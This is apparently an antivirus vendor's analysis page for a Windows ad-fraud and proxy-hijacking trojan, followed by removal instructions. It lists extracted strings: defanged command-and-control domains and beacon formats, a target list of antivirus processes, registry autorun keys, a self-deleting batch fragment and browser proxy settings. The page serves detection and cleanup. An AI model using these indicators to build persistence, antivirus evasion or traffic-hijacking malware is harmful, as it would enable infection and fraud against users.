User-Agent: chrome/9.0
%s %s %s
hXXp://VVV.google.com/
hXXp://VVV.yahoo.com/
.class
.midi
google_ad.url
google_ad.title
r.msn.com
google_ad.line1
zcÁ
c:\%original file name%.exe
%Program Files%\CF2C6
%Documents and Settings%\%current user%\Application Data\507CF
%Program Files%\LP\3985
.text
`.rdata
@.data
.rsrc
...ppyGGt
U#kk%u1
KERNEL32.dll
GetCPInfo
SETUPAPI.dll
ADVAPI32.dll
RegOpenKeyA
RegOpenKeyExA
RegDeleteKeyA
RegEnumKeyA
RegEnumKeyExA
RegCloseKey
LZ32.dll
m_Y.KPCfs
 .LlgYb
GetProcessHeap
RegCreateKeyExA
RegFlushKey
ShellExecuteA
SHDeleteKeyA
keybd_event
EnumChildWindows
EnumWindows
WinHttpOpenRequest
WinHttpQueryDataAvailable
WinHttpCloseHandle
WinHttpConnect
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
WinHttpOpen
p%X 8c
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
KERNEL32.DLL
ole32.dll
OLEAUT32.dll
PSAPI.DLL
RASAPI32.dll
RPCRT4.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WINHTTP.dll
WININET.dll
WS2_32.dll
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
mscoree.dll
WUSER32.DLL
\Registry\Machine\System\CurrentControlSet\Services\%s
Dr.Web
mhttp=127.0.0.1:%d
hXXp://VVV.yahoo.com
2.0.2.1

%original file name%.exe_800_rwx_00208000_00001000:

w2.5.4.24
w2.5.4.25
w2.5.4.26
w2.5.4.27
w2.5.4.28
w2.5.4.29
w2.5.4.30
w2.5.4.31
w2.5.4.32
w2.5.4.33
w2.5.4.34
w2.5.4.35
w2.5.4.36
w2.5.4.37
w2.5.4.38
w2.5.4.39
w2.5.4.40

%original file name%.exe_800_rwx_00400000_00066000:

`.rsrc
`.pC4
u.Vht
SSShbU@
SSj%S
<%u,V
<3%u1f
uTVWh.IB
GetProcessWindowStation
operator
deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler
1.2.5
inflate 1.2.5 Copyright 1995-2010 Mark Adler
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
\sc.exe
ntdll.dll
iexplore.exe
opera.exe
firefox.exe
safari.exe
chrome.exe
AVGIDSMonitor.exe
AVGIDSAgent.exe
avgchsvx.exe
avgemcx.exe
avgnsx.exe
avgrsx.exe
avgtray.exe
avgwdsvc.exe
avgnt.exe
ccsvchst.exe
AvastUI.exe
mcagent.exe
SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
SOFTWARE\Microsoft\Windows Defender
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
explorer.exe
Windows Security Center
%s\shell32.dll,Control_RunDLL "%s\wscui.cpl",Security Center
rundll32.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Windows Defender
at %d:%d "%s" %s
win32iexplore.exe
win32opera.exe
win32firefox.exe
win32safari.exe
win32winword.exe
win32excel.exe
win32outlook.exe
win32photoshop.exe
win32wmplayer.exe
win32java.exe
win32itunes.exe
win32msmsgs.exe
java.exe
*.log
%s:\windows\system32\%s.tmp
%s:\windows\syswow64\%s.tmp
%s:\WINNT\system32\%s.tmp
%s:\WINNT\syswow64\%s.tmp
Find Temporary files is %d
cannot open files %s, Open next files ?
{A1D429DE-B782-4253-84AD-6E09A8438AD5}
\Windows NT
Software\Microsoft\Windows\CurrentVersion\Run
%s\%s
%s.%s
stor.cfg
exec%s
{35BCA615-C82A-4152-8857-BCC626AE4C8D}
{4D92BB9F-9A66-458f-ACA4-66172A7016D4}
lvvm.exe
{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}
{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}
{6B985724-623F-492e-B0D6-C9715ADE853B}
{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}
Advapi32.dll
%s%s_1
%s_0_%d_%s
%s_%d
%s_%d_%d_%d_%d
%s_%s
hXXp://
POST %s HTTP/1.1
Host: %s
User-Agent: mozilla/2.0
Content-Length: %u
POST hXXp://%s%s HTTP/1.1
HTTP/1.0 200 OK
HTTP/1.1 200 OK
id=%s&p3=0&p4=0&hwid=%s&c=%d&nax=7&ver=108
%s_%s_%d
_1_%d
_2_%d
_3_%d
_4_%d
hXXp://maildbaccesss.com
hXXp://storetabletpcforme.com
hXXp://seeworldonlines.com
hXXp://missisipitour.com
hXXp://adreklamaforyou.com
hXXp://calcfordelis.com
hXXp://stotre4image.com
hXXp://allsoft4you.com
hXXp://videocontainer.com
hXXp://maxtroeurosys.com
SELECT_RESERV_SRV_%d
%s_%d_%s
id=%s&c=%d
%s_%d_%d_%d
%s_%d_%d
%s %s
%s start%s%c%s
c1.exe
c2.exe
c3.exe
%sq=%s
DWN_CON_STRP_%d_%s
hXXp://%d.ctrl.%s
logo.png
img/135.png
img/136.png
t=%s&p4=0&q=%s&z22=0&s=%d&hrs=%d
t=%s&q=&s=%d&hrs=%d
%s/%s?tq=%s&pr=%d
%s:%d/%s?tq=%s&pr=%d
hXXp://armoredlegion.com/305986.png
hXXp://armoredlegion.com/16354.png
hXXp://armoredlegion.com/716354_m61.png
hXXp://mektek.net/thelab/wiley.jpg
hXXp://knowledgesutra.com/img/temp/hi.cgi
hXXp://knowledgesutra.com/img/temp/head.png
hXXp://battleon.com/134.gif
hXXp://battleon.com/132.gif
hXXp://battleon.com/133.gif
hXXp://browsermmorpg.com/images/cpc.png
hXXp://browsermmorpg.com/images/cpc2.png
hXXp://browsermmorpg.com/img/intel.gif
hXXp://browsermmorpg.com/img/intel.jpg
hXXp://012webpages.com/christian12.jpg
hXXp://012webpages.com/christian13.jpg
hXXp://012webpages.com/christian14.jpg
hXXp://tri-countymech.com/g/livechat.png
hXXp://tri-countymech.com/g/logo.png
hXXp://tri-countymech.com/g/133.jpg
hXXp://tri-countymech.com/g/134.jpg
hXXp://electronicstheory.com/pics/valley.png
hXXp://electronicstheory.com/pics/sun.png
hXXp://classicbattletech.com/lhous3.gif
hXXp://classicbattletech.com/lhous4.gif
hXXp://classicbattletech.com/lhous5.gif
hXXp://classicbattletech.com/lhous6.gif
hXXp://engineeringcrossing.com/images/misc/23525.png
hXXp://engineeringcrossing.com/images/misc/64646.png
t=t&hrs=%d&q=id=1000&ver=%s&s=%d
t=ip&hrs=%d&q=&s=1
%s?pr=%s
\bl%d_64.bat
del "%s"
if exist "%s" goto a
cmd.exe /c "%s"
%s.zl
{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d
{C66E79CE-8935-4ed9-A6B1-4983619CB925}
{61B98B86-5F44-42b3-BCA1-33904B067B81}
{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
GET %s HTTP/1.0
drweb
{5A92A751-F926-4BB9-872E-BEC4A4CD571F}
ldr.ini
reportfrommains.com
hXXp://%s/s.php?c=121&id=%s
onlinereportsystem.com
%s_1_%d_%s
%s_2_%d_%s
%s_3_%d_%s
%s_4_%d_%s
pmv=2&id=%s&hwid=%s
u.exe
%s up%s
&%s=%s
PRM_LSTN_THIS_PORT
127.0.0.1
HTTP/1.x
google.com
hXXp://VVV.google.com
HTTP/1.1 302 Found
Location: %s
id=%s&type=%d&ppcid=%s
%s: %s
%s_5_%s
http=127.0.0.1:
prefs.js
Mozilla
"network.proxy.http"
"network.proxy.http_port"
"network.proxy.type"
"127.0.0.1"
%s(%s, %s);
operaprefs.ini
Opera
Use HTTP
HTTP server
127.0.0.1:%s
%s=%s
%s:%s
hwid=%s&yui=2&id=%s&step=1&wd=%d&rvn=56&av=%s
id=%s&hwid=%s
exec|%s
http=
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
bing.com
yahoo.com
search.aol.
suche.aol.
searcht2.aol.
.yimg.com
.bing.net
scorecardresearch.com
brightcove.com
.aol.
.atwola.
.ivwbox.
.google
.atdmt.
.abmr.
.tacoda.
.adtechus.
.autodatadirect.
.mapquestapi.
.ggpht.
.virtualearth.
.opera.
.microsoft.
.wsod.
.doubleclick.
.ypcdn.
.truveo.
.tlowdb.
mapq.st
.dartsearch.
.thawte.
http://
bing.com/search
search.yahoo.com/search
%s_1_%s
err%d%s_%d_%d
err0%s_%d_%d
&useragent=%s
&referer=%s
&type=%d
%s:443/?ver=108&system=%d&id=%s&hwid=%s&search=%s
%s_2_%s
%s_%s_%s
%s_3_%s
VVV.VVV.ru
hXXps://
.doubleclick.net
doubleclick.net
msn.com
%s_0%d_%d
=='undefined'?'%s':'%s'
.referrer
HTTP/1.0
User-Agent: chrome/9.0
%s %s %s
hXXp://VVV.google.com/
hXXp://VVV.yahoo.com/
.class
.midi
google_ad.url
google_ad.title
r.msn.com
google_ad.line1
zcÁ
c:\%original file name%.exe
%Program Files%\CF2C6
%Documents and Settings%\%current user%\Application Data\507CF
%Program Files%\LP\3985
.text
`.rdata
@.data
.rsrc
...ppyGGt
U#kk%u1
KERNEL32.dll
GetCPInfo
SETUPAPI.dll
ADVAPI32.dll
RegOpenKeyA
RegOpenKeyExA
RegDeleteKeyA
RegEnumKeyA
RegEnumKeyExA
RegCloseKey
LZ32.dll
m_Y.KPCfs
 .LlgYb
GetProcessHeap
RegCreateKeyExA
RegFlushKey
ShellExecuteA
SHDeleteKeyA
keybd_event
EnumChildWindows
EnumWindows
WinHttpOpenRequest
WinHttpQueryDataAvailable
WinHttpCloseHandle
WinHttpConnect
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
WinHttpOpen
p%X 8c
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
KERNEL32.DLL
ole32.dll
OLEAUT32.dll
PSAPI.DLL
RASAPI32.dll
RPCRT4.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WINHTTP.dll
WININET.dll
WS2_32.dll
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
mscoree.dll
WUSER32.DLL
\Registry\Machine\System\CurrentControlSet\Services\%s
Dr.Web
mhttp=127.0.0.1:%d
hXXp://VVV.yahoo.com
2.0.2.1


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:1340
    %original file name%.exe:168
    13.tmp:1468

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %System%\config\software (838 bytes)
    %Documents and Settings%\%current user%\Application Data\507CF\F2C6.07C (3946 bytes)
    %Program Files%\LP\3985\13.tmp (12588 bytes)
    %Program Files%\LP\3985\C29.exe (272706 bytes)
    %System%\config\SOFTWARE.LOG (1987 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "C29.exe" = "%Program Files%\LP\3985\C29.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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